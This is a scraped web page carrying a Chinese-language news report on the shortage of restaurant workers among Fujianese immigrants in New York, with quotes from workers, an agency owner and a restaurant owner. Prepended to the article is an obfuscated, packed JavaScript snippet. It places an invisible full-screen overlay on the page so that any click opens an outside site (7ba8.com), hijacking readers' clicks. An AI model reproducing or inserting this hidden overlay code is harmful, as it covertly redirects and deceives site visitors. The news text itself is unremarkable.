<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>餐馆工是许多闽籍新移民赴美后的首要选择，曾几何时，餐馆工在新移民求职者中炙手可热。然而如今，求职者抢工的景象已然不再，随着赴美的新移民人数逐年下降，中餐馆在全美遍地开花令工作机会猛增，餐馆工求职市场出现了人荒，尤其以炒锅等能作厨房工的技术型人才最为抢手。
一直以来从事餐馆工作的闽籍移民李杰，不久前到纽约华埠爱烈治街的职业介绍所换工。他表示，如今的介绍所数量还是那么多，介绍所的玻璃台上请人做工的纸条贴得密密麻麻，但介绍所里和他一样找工的人却是稀稀拉拉没几个。李杰说，这与几年前找工时，介绍所里人声鼎沸的热闹场景完全不同。
在新州一家餐馆打工的李先生，赴美已有20多年。李先生介绍，他到美国时还只是个高中没毕业的青年，能做的只有餐馆工。那时候，中餐馆的数量没那么多，但找工的却很多，经常要等好久才能找到一份好工。如今，许多早年赴美的乡亲在餐馆打了几年工，攒了钱就开餐馆做老板，到处请工，令餐馆工的工作机会增加了许多。
但另一边，美国经济不好，中国国内的生活水平提高，再加上人民币升值，许多家乡的乡亲对赴美国打工致富的渴望比起以前要减少许多，令许多乡亲宁愿在老家找发财机会，也不愿轻易走上赴美的路。李先生说，正是餐馆工的工作数量增加，但如今赴美国的华裔移民减少，所以令许多餐馆找不到工人。如今的打工者要找餐馆工，比以前要容易许多。
在爱烈治街开职业介绍所的罗女士也有同感。她介绍，以前是工作少人多，如今是工作多人少，总之职业介绍所永远处于下风，每天成交的职业介绍生意没几单。由于打工的人数减少，如今的餐馆老板常常面临请人危机，尤其是请厨房工，例如炒锅等这类需要一定技术和经验的职位。以前是老板当“一公”挑人，如今是打工者是“一公”挑老板。
在长岛经营中餐馆的林先生表示，之前餐馆委托介绍所找人，一般一两天内便有消息，但如今广告发出去一周有余，都难找到合适的人工。由于打餐馆工的人供不应求，令不少打工者对工作也愈加挑剔，多数选择留在纽约附近打工，外州的中餐馆要雇人，则是难上加难。 |
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